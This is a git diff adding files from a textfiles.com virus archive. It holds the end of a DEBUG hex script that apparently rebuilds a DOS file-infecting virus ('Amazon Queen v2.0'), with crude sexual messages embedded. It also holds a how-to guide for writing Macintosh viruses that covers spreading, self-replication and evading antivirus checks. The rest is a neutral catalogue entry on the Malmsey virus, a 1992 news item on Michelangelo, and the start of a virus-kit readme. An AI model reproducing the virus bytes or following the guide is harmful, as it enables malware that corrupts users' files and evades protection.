80 C1 18 8A E9 89 0F 32 ED 46 83 FE 08 75 D2 0E +E 1a0 1F D0 0E FD 02 80 3E FD 02 80 90 75 1C FF 06 FE +E 1b0 02 8B 36 FE 02 8A 84 00 03 0A C0 75 06 31 36 FE +E 1c0 02 EB EA B3 08 F6 E3 8B E8 E4 60 3C 80 72 03 E9 +E 1d0 75 FF FB B8 03 00 CD 10 B8 00 B8 8E C0 BF 00 00 +E 1e0 B9 96 03 FC BE 4F 03 E8 03 00 EB 6C 90 56 57 50 +E 1f0 53 51 52 E3 5C 8B D7 33 C0 FC AC 3C 20 72 05 AB +E 200 E2 F8 EB 4D 3C 10 73 07 80 E4 F0 0A E0 EB F1 3C +E 210 18 74 13 73 19 2C 10 02 C0 02 C0 02 C0 02 C0 80 +E 220 E4 8F 0A E0 EB DA 81 C2 A0 00 8B FA EB D2 3C 1B +E 230 72 08 75 CC 80 F4 80 E9 A2 00 3C 19 8B D9 AC 8A +E 240 C8 B0 20 74 02 AC 4B 32 ED 41 F3 AB 8B CB 49 E0 +E 250 A9 5A 59 5B 58 5F 5E C3 B4 3C BA 2B 09 33 C9 CD +E 260 21 B8 02 3D BA 2B 09 CD 21 8B D8 B4 40 B9 F4 01 +E 270 BA 37 07 CD 21 B4 3E CD 21 B4 07 CD 21 3C 52 75 +E 280 70 B8 03 00 CD 10 B4 09 BA 8F 02 CD 21 EB 2F 63 +E 290 6C 65 61 72 69 6E 67 20 73 63 72 65 65 6E 20 6F +E 2a0 6E 20 79 6F 75 72 20 6B 65 79 70 72 65 73 73 2E +E 2b0 2E 2E 2E 20 20 77 68 6F 61 68 21 0D 0A 24 B4 07 +E 2c0 CD 21 3C 49 75 2B B4 07 CD 21 3C 4F 75 23 B4 07 +E 2d0 CD 21 3C 54 75 1B B9 04 00 BE F8 02 FE 04 46 E2 +E 2e0 FB B4 09 BA F8 02 CD 21 BA 61 00 B8 03 00 EF CD +E 2f0 20 B8 03 00 CD 10 CD 20 53 54 68 51 24 80 00 00 +E 300 20 41 4D 41 5A 4F 4E 20 51 55 45 45 4E 20 56 32 +E 310 2E 30 20 28 43 29 20 4C 4F 52 44 20 5A 45 52 30 +E 320 2E 2E 2E 2E 2E 2E 20 20 48 45 52 4D 41 4E 4E 49 +E 330 20 42 4C 4F 57 53 20 47 4F 41 54 2D 44 49 43 4B +E 340 21 21 21 20 20 20 20 20 20 20 20 20 20 20 00 0F +E 350 10 18 20 07 1A 09 DC 0F DC 19 02 07 1A 06 DC 0F +E 360 DC 19 05 07 1A 09 DC 0F DC 19 02 07 1A 09 DC 0F +E 370 DC 20 20 07 1A 08 DC 0F DC 19 02 07 1A 08 DC 0F +E 380 DC 18 07 DB 19 08 DE 0F 17 DE 10 DD 20 07 DB 19 +E 390 06 DF 0F 17 DF 10 DC 19 02 07 DC DF 19 07 DE 0F +E 3a0 17 DE 10 DD 20 07 DC DF 19 07 DE 0F 17 DE 10 DD +E 3b0 07 DB 19 08 DB 0F DB 20 07 DB 19 08 DB 0F DB 18 +E 3c0 07 DB 20 20 DB 0F 17 DC 07 10 1A 04 DF DC 0F 17 +E 3d0 DC 10 DF 20 07 DB 20 20 DB 0F 17 DC 07 10 DF DB +E 3e0 DF 20 20 DB 0F DB 20 20 07 DB 20 20 DB 0F 17 DC +E 3f0 07 10 1A 04 DF DC 0F 17 DC 10 DF 20 07 DB 20 20 +E 400 DB 0F 17 DC 07 10 1A 04 DF DC 0F 17 DC 10 DF 20 +E 410 07 DF DF DF DB 20 20 DB 0F 17 DC 07 10 DF 0F DF +E 420 20 07 DB 19 02 DC 0F 17 DC 07 10 1A 04 DF 0F DF +E 430 18 07 DB 20 20 DB 0F DB 19 08 07 DB 20 20 DB 0F +E 440 17 DF 07 10 DF 20 DF DC 0F 17 DC 10 DF 19 02 07 +E 450 DB 20 20 1A 03 DF DB 0F DB 19 04 07 DB 20 20 1A +E 460 03 DF DB 0F DB 19 07 07 DB 20 20 DB 0F DB 19 03 +E 470 07 DB 19 02 DB 0F DB 18 07 DB 20 20 DB 0F DB 20 +E 480 00 DC 07 DC DF DF DF 0F 17 DF 10 DC 20 07 DB 01 +E 490 DB DB 17 DC 10 DB 17 DF 0F DC 01 DF DB DC 0F DF +E 4a0 10 DC 20 20 07 DB 01 DB DB 07 DB 0F 17 DC 07 10 +E 4b0 DF DF DF 0F 17 DF 07 10 DC 01 17 DC 0F DF 10 DC +E 4c0 20 07 DB 01 DB DB 07 DB 0F 17 DC 07 10 DF DF DF +E 4d0 0F 17 DF 07 10 DC 01 17 DC 0F DF 10 DC 19 03 07 +E 4e0 DB 01 DB DB 07 DB 0F DB 19 04 07 DB 01 DB DB DB +E 4f0 07 DF DF DF 0F 17 DF 07 10 DC 0F DC 18 07 DB 01 +E 500 DB DB 07 DB 0F DB 20 20 07 DF DC 01 DB DB 07 DB +E 510 0F DB 20 07 DB 01 B1 B1 08 DC 0F 17 DC 10 20 20 +E 520 07 DE 01 17 DE 10 B1 17 DD 0F DE 10 DD 20 07 DB +E 530 01 B1 B1 07 1A 04 DF 01 B1 B1 B0 07 DE 0F 17 DE +E 540 10 DD 07 DB 01 B1 B1 07 1A 04 DF 01 B1 B1 B1 07 +E 550 DE 0F 17 DE 10 DD 19 02 07 DB 01 B1 B1 07 DB 0F +E 560 DB 19 05 07 DF DF DC 01 1A 04 B1 07 DB 0F DB 18 +E 570 07 DB 01 B1 B1 B1 0F 17 DF 07 10 DC DC DC DF 01 +E 580 B1 B1 07 DB 0F DB 20 07 DB 20 08 DC 0F 17 DF 10 +E 590 19 02 07 DB 01 B1 B1 07 DB 0F 17 DB 10 19 02 07 +E 5a0 DB 1A 07 DC DB 0F 17 DB 10 19 02 07 DB 1A 07 DC +E 5b0 DB 0F 17 DB 10 19 04 07 DB 01 B0 B0 07 DB 0F DB +E 5c0 19 03 07 1A 03 DC DF 01 1A 03 B0 07 DC 0F 17 DC +E 5d0 10 DF 18 07 DB 01 1A 09 B0 07 DB 0F DB 20 20 07 +E 5e0 DF 19 04 DF DC 01 B0 B0 07 DF 0F 17 DF DC 10 DF +E 5f0 19 1D 07 DF DC DC 0F 17 DC 10 DF 20 20 07 DC DB +E 600 1A 06 DC 0F 17 DC 10 DF 18 07 DF 1A 08 DC 0F 17 +E 610 DC 10 DF 19 0A 07 DF DF DF 0F DF 18 18 18 18 19 +E 620 0A 09 D2 19 03 D6 C4 C4 BF 20 D2 C4 C4 BF 20 D2 +E 630 C4 C4 BF 19 04 D6 C4 BF 20 20 D2 C4 C4 BF 20 D2 +E 640 C4 C4 BF 20 D6 C4 C4 BF 20 D2 18 19 0A BA 19 03 +E 650 BA 20 20 B3 20 C7 C4 C2 D9 20 BA 20 20 B3 19 04 +E 660 D6 C4 D9 20 20 C7 C4 19 02 C7 C4 C2 D9 20 BA 20 +E 670 20 B3 20 BA 18 19 0A D0 C4 C4 D9 20 D3 C4 C4 D9 +E 680 20 D0 20 C1 20 20 D0 C4 C4 D9 19 04 D3 C4 C4 D9 +E 690 20 D0 C4 C4 D9 20 D0 20 C1 20 20 D3 C4 C4 D9 20 +E 6a0 6F 18 18 18 19 17 0B C4 54 48 45 20 55 4E 46 4F +E 6b0 52 47 49 56 45 4E 2D 18 18 19 0C 28 41 4E 53 49 +E 6c0 20 42 59 20 50 4F 52 4E 4F 20 2D 20 41 47 45 53 +E 6d0 20 41 47 4F 2E 2E 2E 20 21 20 21 20 21 20 21 29 +E 6e0 18 18 18 18 18 54 55 3E 20 48 69 20 45 6D 6D 61 +E 6f0 2C 20 73 63 68 75 74 74 75 70 20 61 6E 64 20 73 +E 700 6C 65 65 70 20 77 69 74 68 20 6D 65 21 0D 0A 62 +E 710 63 6F 73 20 79 6F 75 20 61 72 65 20 79 6F 75 6E +E 720 67 20 61 6E 64 20 68 61 76 65 20 61 20 70 75 73 +E 730 73 79 21 21 21 0D 0A 0E 1F E8 00 00 8B DC 36 8B +E 740 2F 81 ED 05 00 44 44 06 FF 86 F2 01 B4 AC CD 21 +E 750 3C 30 75 13 2E 3B 9E F0 01 7D 39 B4 AE CD 21 B4 +E 760 09 8D 96 8E 00 CD 21 33 C0 8E C0 BF 00 02 8B F5 +E 770 B9 FA 00 F3 A5 AB AB 8E D9 B8 B8 02 FA 87 06 84 +E 780 00 A3 E0 00 A3 D9 02 87 0E 86 00 89 0E E2 00 89 +E 790 0E DB 02 FB 07 0E 1F 83 FC FE 74 17 06 1F 8C C0 +E 7a0 05 10 00 2E 03 86 7A 00 50 2E FF B6 78 00 CB CD +E 7b0 20 30 30 BF 00 01 4C 4C 8B DC 89 3F 8D B6 78 00 +E 7c0 A5 A5 33 C0 C3 20 41 6D 61 7A 6F 6E 20 51 75 65 +E 7d0 65 6E 2E 2E 2E 76 32 2E 30 24 1E 2E C5 16 D9 02 +E 7e0 B8 21 25 CD 21 1F B0 30 2E 8B 1E F0 03 9D CF 9C +E 7f0 80 FC AC 74 F1 80 FC AE 74 E0 80 FC 4B 74 15 80 +E 800 FC 3D 74 10 80 FC 43 74 0B 80 FC 6C 74 06 9D EA +E 810 00 00 00 00 E8 FE 00 80 FC 6C 75 02 8B D6 1E 07 +E 820 8B FA B0 2E B9 40 00 F2 AE 8B 05 0D 20 20 3D 63 +E 830 6F 74 08 3D 65 78 74 03 E9 AE 00 BF 78 02 B8 02 +E 840 3D CD 38 73 03 E9 A1 00 93 0E 0E 07 1F B4 3F B9 +E 850 18 00 BA F6 04 8B F2 CD 38 73 07 E9 87 00 57 48 +E 860 59 3F E8 97 00 81 3C 4D 5A 74 17 80 3C 41 75 02 +E 870 EB 73 A5 A5 B9 04 00 2B C1 C7 04 41 E9 89 44 02 +E 880 EB 46 56 83 C6 14 A5 A5 5E 80 7C 12 30 74 56 50 +E 890 52 05 F4 01 83 D2 00 B9 00 02 F7 F1 0B D2 74 01 +E 8a0 40 89 54 02 89 44 04 8B 44 08 B1 04 D3 E0 91 5A +E 8b0 58 2B C1 83 DA 00 B9 10 00 F7 F1 C6 44 12 30 89 +E 8c0 54 14 89 44 16 B9 18 00 51 B4 40 BA 00 02 B9 F4 +E 8d0 01 CD 38 E8 22 00 59 B4 40 8B D6 CD 38 B8 00 57 +E 8e0 CD 38 40 CD 38 B4 3E CD 38 E8 1A 00 E9 1F FF 4C +E 8f0 6F 52 44 20 5A 65 72 30 32 C0 EB 02 B0 02 B4 42 +E 900 99 33 C9 CD 38 C3 2E 8F 06 F4 03 5F 5E 1F 07 5A +E 910 59 5B 58 EB 0D 2E 8F 06 F4 03 50 53 51 52 06 1E +E 920 56 57 2E FF 26 F4 03 00 02 01 00 7A 65 72 6F 2E +E 930 63 6F 6D 00 +RCX +834 +W +Q diff --git a/textfiles.com/virus/macv.txt b/textfiles.com/virus/macv.txt new file mode 100644 index 00000000..207faacb --- /dev/null +++ b/textfiles.com/virus/macv.txt @@ -0,0 +1,121 @@ +How To Write A Virus For The Macintosh + *or 'How I Learned To Stop Worrying And Love The Resource Manager' +document version 1.0 + + +Due to numerous requests for this type of information, I will delve myself into the dark side and release that information by which people can be arrested. Please note that this file contains no source code and no information about destructive code, but simply gives the basic ideas and principles behind writing a reproducing code resource and how it can be used to better society. + + +Chapter 1: Basic Principles + +A computer virus, by definition, is a piece of processor-executable code that can reproduce itself within it's environment. In the Macintosh system, an object called a resource can contain executable code. Most common executable resources are of type 'CODE', along with others such as 'DRVR', 'CDEF', 'WDEF', 'INIT', and so on. These resources are loaded into memory and 'jmp'ed to to be executed (an assembly language term for jump). Note that not only these types listed above can contain code. The trick is to get the virus code loaded and called by 'accident'. +There are many places where code resources are loaded and executed. For one example, at the launch of an application, the CODE resource with ID=0 is loaded (the jump table), and then jumps to the first listing in it's table. As another example, a 'CDEF' resource is called to draw certain controls (ID=0 for buttons, checkboxes, and radio buttons; ID=16 for scroll bars, etc.). Another example: an 'INIT' resource is called at startup time if the file which contains it is in one of the special system folders. There are numerous other places within applications, and even within system software itself, where code is loaded and called. Each virus uses a trick with one of these methods to get itself called. Some of these methods are described in more detail below. +Once the virus code is executed, it's main responsibility is to duplicate itself. This in itself is a fairly easy process. Since your executable code resource is already loaded into memory, you can use a few popular toolbox calls to place it into any other file or application that would suit your needs (where it would also have the chance of being executed). After the duplication is complete, the virus may do any other task it deems necessary. +One of the reasons why viruses crash is that their reproduction or startup code is not compatible with other systems and/or machines, not that their damage system actually did any damage. If you write code following the Inside Macintosh rules and code defensively, you should be able to write a clean piece of code that travels without problems. Always code defensively: it's your work out there� you want to be proud of it. Read below to find some tips on doing just that. +Virus testing is a very difficult process, in that your own system is constantly infected, possibly numerous times with older versions of the virus. There are methods to the madness, so again, read on. +A few of the catches to writing a virus is being aware of the methods used by virus-protection software. If simply written, a virus could be caught very quickly and not have much effect beyond your own system. If the methods are thought out and the patches made by the protection software are understood, then a virus could at least require software companies to update their existing detection methods. Every virus to date has been able to be detected and destroyed, so don't feel bad. +Is everybody happy? Then let's go! + + +Chapter 2: Writing Executable Code + +An executable code resource is easy to create with a good software-development application such as THINK C (or C++) or THINK Pascal or MPW. There are slight differences between the environments, but nothing major. I will be giving examples for code written in THINK C, for that is the system I use. + +An executable code resource usually starts with a + void main(void) +and within such, your executable code exists. Note, as always, that executable code cannot handle global variables (variables defined above the definition of the main code, accessible by the whole file/project). THINK C handles ways around this, and MPW uses the methods in Tech Note #256, but in most cases, you won't really need global variables, unless the code is complex enough to require separate procedures and/or object-oriented code. In any case, you can usually define your variables inside the main procedure itself. There aren't too many rules as far as writing code resources, so long as you know under which circumstances your code will be called. If you are patching a Toolbox trap, for example, you must take the same form as the patch you are trapping: + void ModalDialogPatch(ProcPtr procFilter,int *itemHit) +If you are patching an operating system trap, you need to do some register playing, but you need to take an empty procedure form: + void OpenPatch(void) +even though the FSOpen, PBOpen, etc. take paramBlocks. Note: they are stored in registers A0, D0, and A1 usually. Check the trap for specifics. You need to save these before you execute your code, and then restore them upon return. +If you are executing code that is to be run as a VBL or Time Manager task, always remember that you cannot use code that even thinks about using the Memory Manager (i.e. moves or purges memory). Make sure all the toolbox calls you use are not in the 'dreaded list' in the appendix of each volume of Inside Macintosh. + +The type of the code resource is very dependent upon which method you wish to use to get your code executed. Read the next section for details on such execution theories. + +After you're done writing the code, check it over for simple things you might have forgotten (original Quickdraw compatibility, system versions, etc.), and compile the sucker. For right now, you can throw the code resource into some sort of test file (or stagnant file, where the code will not be executed and/or reproduce). Note that you should NOT have any external resource files to compile along with it. Code resources such as this should preferably be self-contained, and not have to 'carry around the extra luggage', so to speak. There are methods to carry along bitmaps (as 'unknown data') and use them as graphics. But you should never rely on things like GetNewDialog, because that requires the existence of a DITL resource. Instead, use calls like NewDialog, where the code builds the relevant information in. It might make things harder to read and a bit harder to edit, but it's what you have to do in order to make everything self-contained. + +Most of the compilers create some sort of header at the beginning of each executable code resource. This header could give away some vital information about the resource which would make it easy for a virus-detector to find. Double check it after compilation to make sure it's clean and doesn't look suspicious. + + +Chapter 3: Getting Your Code Executed + +This technique you use here defines how your virus spreads. Some earlier viruses were more virulent than others; nVir needed an infected application to boot for it to execute; WDEF required only that a disk be inserted. There are lots of places for code to be "patched" so that your code can be executed. The trick is finding them and recovering from them gracefully. Not every method can be discussed in this note, but I will give some general examples and how to find your own 'hooks'. + +One of the most popular methods amongst virii is infecting applications, since they, by definition, have executable code built right into it. If you can get your code executed along with the many other little segments in the application, the code could recover undetected. When an application starts up, the resource CODE with ID=0 is loaded into memory, and it's popularly known as the jump table. It keeps track of all of the procedures or segments in an application. If part of an application needs to call another procedure inside the application, it checks with the jump table for it's location. If it sees that the procedure is not in memory, it will load it first, then execute it. This is all taken care of by the compiler and the system software, so it's invisible to the programmer (in most cases). The system loads the jump table and immediately executes the first entry in the list when an application begins. +You can patch yourself into this list of procedures by modifying the jump table itself. You can modify the first entry of the jump table to be your code, but save the original entry so that you can call the actual application when you're done (destroying the first entry in any CODE 0 resource renders the application totally useless). So, instead of the system executing what it thinks is the application, it will run your code first, and then run the application. + +Another method by which virii get executed is by utilizing a wonderful feature of the Resource Manager. As given in Inside Macintosh volume 1, the Resource Manager will look for resources in the top-most resource file that is open (the one most recently opened in most cases, unless UseResFile has been used). These searches also include searches for basic system code resources, such as window definitions, control definitions, and even international transliteration code. If you have a resource with the same type and ID as one in the system, and this resource file is open, the system will execute your resource instead of the system's. The catch again with this is that you should call the original resource as well to make your code invisible to the naked eye. This, apparently, is how the WDEF virus worked. When a disk was inserted, the desktop file was automatically opened and put in the list of resource files. Within this time that the file was open, the WDEF file which existed within was executed (the system needed to draw the window itself using the standard WDEF resource). This method requires no patching of other code and makes it very elegant. The thing that makes them easy to detect is that you find code resources in very odd places. A WDEF resource is not usually found in the desktop file. + +To find other hooks for code execution, look at all the executable code inside the system. These pieces are executed at one time or another for certain calls. Things that might not seem obvious right away may make good places for patching. Lots of applications use (maybe indirectly) the International Utilities Package, for it has many good string manipulation routines. A patch there might be possible. 'ptch' resources in the system are loaded automatically at startup time to patch bits of ROM. A system could be infected there and be loaded before all other extensions. Poke around the resources and find out which ones are executable, and then find out when they are executed. You might be able to find a great patch to live off of. + + +Chapter 4: Reproduction + +Reproduction of any code resource requires the help of the File Manager and/or the Resource Manager. The concept is not very simple, but the execution is very easy. Since the virus itself is simply one code resource (preferably not more than one), then it can be loaded, added, modified, changed, and saved just like any other resource. And the fun part of it is, you can do all this to the code you are currently executing. This is apparently dangerous (Apple warns us about self-modifying code), but we're not modifying anything about our code; simply our placement. With a few simple calls we can duplicate ourselves anywhere we wish. + +When an executable code resource is called, the pointer to the resource is placed in register A0. You can use this pointer to reference yourself. A simple line of assembly can place A0 in any variable you choose. Once you have this variable, you must translate it into a handle with the RecoverHandle call. Now you have a handle to your own loaded resource, but you still cannot duplicate it. As a handle to a resource, you cannot use it to be copied into other files. You 'belong' to your owning file, and are not expected to go elsewhere. Use the DetachResource call to remove your reference to the file you came from. After this call, you are simply an executable block of memory floating around with a handle on yourself (phallic, isn't it?). All you need to have to have total freedom with a block of memory is a handle to it. You've got this free handle now. Now comes the time to find the file you have to duplicate yourself to. +The file you find depends on how your virus is designed to work. You can copy yourself into applications, into desktop files, or into the system. Again, dependent on how your executing mechanism requires it. Once you have found your file (usually with use of the File Manager), open up it's resource fork with OpenResFile or any other similar procreation of it (FSpOpenResFile, etc.). Call AddResource with the required parameters, then call WriteResource to forcefully write the resource to the file or simply close the file itself (it will automatically be saved). Your code has now copied itself into another file. Reproduction! Now just let it sit and wait for it to be called! + + +Chapter 5: Defensive, Clean Coding + +As always, if you want your code to be run cleanly on all systems, you have to be prepared for any type of situation. Apple warns us of this all the time, so I don't have to go into too much detail, but there are a few things I would like to stress so that your code doesn't simply crash when it gets executed. You goal is then not found. Here are some tips and things to watch out for. + +1. ResError. Who knows? Maybe you've been purged. Check it after every Resource Manager call you can, taking efficiency into account, of course. +2. Nil pointers. Who knows? Maybe a virus detector caught part of your set of resources (if you're using a set, which I highly discourage) and deleted them. Find an alternate route, or exit gracefully. +3. Patch well. If you are going to modify something like a jump table, be sure you keep the originals somewhere for your own use so you can call the code (pass-through coding). If you don't, and you just destroy it and call the next code resource down the line, who knows what you might be calling. A bezier-curve calculation routine does nothing if the caller knows not what he's doing. +4. File Manager. Don't depend on each hard drive being called "Macintosh HD". Don't depend on an "Applications" folder. Don't depend on anything. Read the directory and see what you find interesting. System 7's File Manager is great, but watch out for: +5. System 6 or before. You wouldn't want your code to execute only on one system version now, would you? By known figures, only 50% of Mac users use System 7. Sad, eh? But why exclude them from the pleasures of your code? +6. Error Check, Error Check, Error Check. The thought police are on you again. Never forget that nothing is permanent. + + +Chapter 6A: Virus Protection Software: How It Works + +Virus protection software was a good idea. It worked for a while. Then it became a commercial product. Virex, SAM, etc. The best one out in the world today is freeware: Disinfectant. A beautifully-written piece by John Norstad. I personally am against commercially-written virus protection. However, I am not here to give praise to independent software authors. I am here to tell you how some of their mechanisms work. + +Patching toolbox traps is a popular method of modifying the system's own code. Before it calls the real thing, it calls the patch (your code). Virus detectors use this method to keep an eye out for parameters passed through certain toolbox calls to check to see if they are virus-related. +One popular patch is AddResource. If a virus detector sees that the type of resource that is being added is of type 'nVir', then it'll catch you. If it sees 'WDEF' with ID=0 and the open resource file is the desktop, then it'll catch you. Since AddResource is a very dependent call used for replications, it's almost certain to work every time. Other less-popular but more efficient patches are those at the base level of the operating system, not even documented by Apple. Traps such as _vBasicIO, _VInstall, _NewHandle, _vMRdAddr, and even _ADBReInit get trapped by the Disinfectant extension. Because these are very basic calls (used by nearly anything that does input and output, in the case of _vBasicIO), it can catch nearly anything coming toward it. It's nearly foolproof. After knowing what type of virus it is, the software can delete the virus quickly and easily. + +Good applications also use their own version of virus protection. At the startup of their application, the number of resources in the file is counted, and the more important executable resources in the file are checked for their size. This way, if an application has had a resource added, it will be able to alert the user and stop execution. + + +Chapter 6B: Virus Protection Software: How To Bypass It + +Though virus protection is great in most cases, there are still 'back doors' which haven't been explored at the time of this writing. Here are some ideas for getting around the checks that most virus protection software uses. + +A trap is still a trap. It is not the real code; it is a dispatcher. It stops you on the way there, but it doesn't stop you from doing what those basic calls do on your own. This does require a fair amount of assembly language and ROM copying, but it gets you around the catch of using operating system traps at all. Simply copy the code that is contained in the trap itself and use that code. To never get caught, never use traps. But we know how nearly impossible that is. However, things are gained and lost in good code writing. + +A drawback of virus protection in general is that the software has to be continually updated for each new virus and identified by name in most cases. One ingenious idea (mine? I don't know) is to make the name and/or type of the virus variable. It doesn't always have to be called 'nVir' or 'WDEF' (unless the mechanism depends on the name or type). Make the type change from permutation to permutation. This makes it much more difficult to catch. + +One feature of the File Manager is it's automatic updating of the modification dates. Every time a file is updated or modified in any way, the modification date is changed. You can find and modify the date with a fairly simple low-level File Manager call. This is really a frivolous precaution, but it makes it easy to find the source of a virus attack. Changing the dates to something fairly feasible (NOT Jan. 1, 1904) may bypass such checks. + +The application checks can be overridden with good code-writing as well. If the virus is to add a resource to a file (as it usually has to), why not delete one in it's place? You've got to be sure that the type is the same as another type (this is where the variable types come in handy), and you may even want to vary the size of it to make it match the one it replaced (hopefully a larger size). Simply modifying a resource (like CODE 0) with the same amount of bytes will usually not be detectable. This way, the applications still counts and finds nothing unusual. However, in the process, the application is permanently damaged in some way. + + +Chapter 7: Testing + +In testing a virus on your own system, you subject it to many continuous attacks - maybe even ones that are unintended. There are some rules to follow to be sure that you can keep track of it's location and make sure it doesn't destroy your work in the process. + +1. SysBeep debugging. I'm sure most of us a pretty familiar with this technique. It's compatible on all systems, and it's an aural identification. No visuals to set up, no extra resources. Simple SysBeep(0); is sometimes enough to know that everything's all right. When testing your duplication code to find out when it actually happens, use SysBeep after each one and then check to see where it went. +2. Modification dates and times. If you use random selection of files to infect, it becomes rather difficult to find which one got infected. If you know when an infection happened, you can immediately check the modification dates of all files - simply by using the Find� command in System 7's Finder. +3. Text Files. This could be known as a common-file technique. For testing purposes, use a mechanism that whenever an infection takes place, the virus writes the process and the file names and such into a common file in a common folder somewhere. This way, you can check the text file afterwards and know exactly what your code has done. You need not make the mechanism too elaborate, as it will only be for use in testing. +4. Backup, Backup, Backup. The thought police are at it again. In these cases, it's all too familiar. A trashed project is no fun. + + +Chapter 8: Conclusion + +In short, the devices behind writing a virus are not all that complicated. There are many checks to counterattack, and part of the puzzle itself is no find new ways to get around them. Find back doors. Give the code a personality. Make it try to find the best way around a counterattack if it is able to detect one. Size is no longer a constraint in today's memory-hog world. A virus of near 50k would probably go undetected in modern-day storage, so don't feel constrained in that way. Time should be a consideration, however. +Make code that is efficient, so that users don't notice a slowdown when it is executed. All in all, your code is your work. Don't let it out of the bag until it works well and clean, and don't forget to leave no trace. + + +Appendix: Questions and Answers + +Q: How do you get it to randomly choose an application on the HD to infect? + +A: Any file on the hard drive is stored in the directory. This includes documents, applications, system files, and so on. Files are found by using the directory (via the File Manager). If you wanted to choose an application that appeared as though it was a random choice, you can still move through the directory. Files are stored in the directory by an index, just like resources, and you can pick a random index number to check a random file. You can use Quickdraw's Random routine to pull out a number, check that index, and see if that file's type is 'APPL'. If not, simply choose another file. If you've found one, then you've got your random application. Granted that not all hard drives have 65536 files on them, so you may have to tone down the returns from Random, but that's simply mathematics. Note also that there are many small applications on the hard drive as well. TeachText, CompactPro, PrintMonitor, etc. This will also come up in the list of applications along with larger applications like Microsoft Word, Aldus Freehand, and the Finder itself. This method will not choose the System file (it has a type of 'zsys'), and documents, any desk accessories, or extensions/control panels. You can modify the routine to work with other file types as well. + +Q: How can I include a bitmap or other separate resource data into my code? + +A: You've got to use a little assembly (and disassembly) for this method, but it works wonders (the system's scroll bar CDEF use to use it). Create the resource you want to include in your favorite resource editor to suit your taste. Close the resource and re-open the sucker in hex. Copy all of the hex codes into the clipboard. Go into your development environment and at the very end of your code add a bit of assembly. Use the DC.B or DC.W operands to define a bytes or words (respectively) and re-define the complete resource for each byte or word in the resource (it might take a little bit of re-typing). Give this procedure (which never gets 'called') a name. Now, whenever you want to use this 'resource', simply replace the handle or pointer to the resource with this procedure pointer. There's no need to load anything (the entire code resource is already loaded), and the pointer is always valid. This method also saves you from using the Memory Manager for anything. + + diff --git a/textfiles.com/virus/malmsey.txt b/textfiles.com/virus/malmsey.txt new file mode 100644 index 00000000..b92eb647 --- /dev/null +++ b/textfiles.com/virus/malmsey.txt @@ -0,0 +1,75 @@ + Virus Name: Malmsey + Aliases: + V Status: Rare + Discovered: October, 1992 + Symptoms: .COM files overwritten; programs fail to function properly; + file date/time changes + Origin: Canada + Eff Length: 495 Bytes + Type Code: ONCK - Overwriting Non-Resident .COM Infector + Detection Method: Novi 1.15a+, F-Prot, VNet, Viruscan V99+, VBuster, + Sweep 2.43a+, IBMAV, AVTK 6.04+, NShld V99+, Sweep/N + Removal Instructions: Delete infected files + + General Comments: + The Malmsey virus was received in October, 1992, and was written + by a person using the name Lucifer Messiah. Malmsey is from + Canada. This virus is a non-resident, direct action overwriting + virus which infects .COM programs, including COMMAND.COM. A + later version of the virus, Malmsey 2 described below, is a + parasitic, non-resident, direct action .EXE infector. + + When a program infected with the Malmsey virus is executed, the + Malmsey virus will infect one .COM program located in the current + directory, overwriting the first 495 bytes of the host file. The + programs date and time in the DOS disk directory listing will have + been updated to the current system date and time when infection + occurred. The following text strings can be found in all Malmsey + infected programs: + + "*.COM" + "[Malmsey Habitat v. 1.3]" + "Warmest Regards to RABID" + "from -- ANARKICK SYSTEMS!" + + Malmsey doesn't appear to do anything besides replicate, though + infected programs will be permanently corrupted. + + Known variant(s) of Malmsey are: + Malmsey 2: A later version of the Malmsey virus, this variant + infects one .EXE program each time an infected program + is executed. Infected programs will have a file length + increase of 1,703 to 1,717 bytes with the virus being + located at the end of the file. The Malmsey 2 virus + will occassionally reinfect previously infected + programs, adding an additional 1,712 bytes with each + reinfection. The file's date and time in the DOS disk + directory listing will not be altered. The following + text strings can be found in the viral code in Malmsey 2 + infected programs: + "Malmsey Habitat v. 2.0" + "Lucifer Messiah -- ANARKICK SYSTEMS 07-18-" + "Hap Birthday !" + Origin: Canada October, 1992. + Malmsey 3 Beta: A later version of the Malmsey 2 virus, this + variant is a memory resident infector of .COM and .EXE + programs, including COMMAND.COM. It becomes memory + resident at the top of system memory but below the 640K + DOS boundary, hooking interrupts 3 and 21. Total system + and available free memory, as indicated by the DOS CHKDSK + program, will have decreased by 2,048 bytes. Once memory + resident, Malmsey 3 Beta infects .COM and .EXE programs + when executed. Infected programs will have a file length + increase of 806 bytes with the virus being located at the + end of the file. The file's date and time in the DOS disk + directory listing will not be altered. The following + following message may be displayed by the virus when an + infected program is executed: + "Gotcha! + + [MALMSEY HABITAT v3.�] + Lucifer Messiah -- ANARKICK SYSTEMS" + These text strings are encrypted within the viral code. + Origin: Canada March, 1993. + +袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴 diff --git a/textfiles.com/virus/mayhem.txt b/textfiles.com/virus/mayhem.txt new file mode 100644 index 00000000..9883ff8c --- /dev/null +++ b/textfiles.com/virus/mayhem.txt @@ -0,0 +1,46 @@ +Unauthorised Access UK 0636-708063 10pm-7am 12oo/24oo + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + + MAYHEM AT FIRMS PLAGUED BY VIRUS + By Philip Braund + + Published in The Mirror newspaper + March 7th 1992 + + Transcribed for the H/P world by Phantasm + + Call Unauthorised Access +44-636-708063 + Online 10pm-7am UK time + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +DATA was whiped from thousands of computers as +the Michelangelo virus finally struck yesterday. + + At least 16 British firms were hit by the +electronic bug and experts reckoned it affected +10,000 systems throughout the world. + + Staff at a business in London watched in horror +at 100 screens went blank. British expert Edward +Wilding said: "I've never known such a serious +loss of data due to a virus." + + Files also disappeared in more than 1,000 +computers in 500 South African companies. But +generally the damage was less than predicted +because firms made copies of their data or used +special programs to destroy the virus. + + Devised by a mischievous boffin and spread by +"infected" floppy disks, it was triggered as +computers clocks ticked into the 517th +anniversary of Italian artist Michelangelo's +birthday. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Happy birthday Michelangelo... + + \ No newline at end of file diff --git a/textfiles.com/virus/mbfamily.txt b/textfiles.com/virus/mbfamily.txt new file mode 100644 index 00000000..aba2b7ca --- /dev/null +++ b/textfiles.com/virus/mbfamily.txt @@ -0,0 +1,157 @@ + + + +The Mayberry Family of Virus by HypoDermic!!!! +---------------------------------------------- + + + Legal BS! + ----------- + +HypoDermic is NOT responsible for any damages directly or +indirectly caused by the use of these alternative programs and +code. These virus were produced for educational puposes only! :> +These files are not to be distributed without the written 